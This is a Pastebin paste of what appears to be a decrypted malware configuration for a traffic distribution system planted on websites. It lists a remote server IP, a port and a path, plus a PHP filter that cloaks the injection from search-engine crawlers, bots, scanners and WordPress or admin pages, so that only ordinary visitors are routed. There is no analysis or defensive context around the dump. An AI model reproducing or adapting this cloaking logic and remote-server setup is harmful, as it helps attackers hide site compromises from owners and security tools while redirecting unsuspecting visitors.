Advertisement
Guest User

encrypted config

a guest
Jan 9th, 2018
609
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.05 KB | None | 0 0
  1. array(5) {
  2.   ["route"]=>
  3.   string(8) "neb58yn8"
  4.   ["tds_port"]=>
  5.   string(2) "80"
  6.   ["tds_filter"]=>
  7.   string(858) "if ($_SERVER['REQUEST_METHOD'] != 'GET' || empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))
  8. {
  9.    return FALSE;
  10. }
  11.  
  12. if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google|msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider|facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT']))
  13. {
  14.    return FALSE;
  15. }
  16.  
  17. foreach (array('/\.css/', '/\.swf/', '/\.ashx/', '/\.docx/', '/\.doc/', '/\.xls/', '/\.xlsx/', '/\.xml/', '/\.jpg/', '/\.pdf/', '/\.png/', '/\.gif/', '/\.ico/', '/\.js/', '/\.txt/', '/ajax/', '/cron\.php/', '/wp\-login\.php/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//', ) as $regex)
  18. {
  19.    if (preg_match($regex, @$_SERVER['REQUEST_URI']))
  20.    {
  21.        return FALSE;
  22.    }
  23. }
  24.  
  25. return TRUE;"
  26.   ["tds_path"]=>
  27.   string(13) "/gal/test.php"
  28.   ["tds_ip"]=>
  29.   string(14) "144.76.162.236"
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement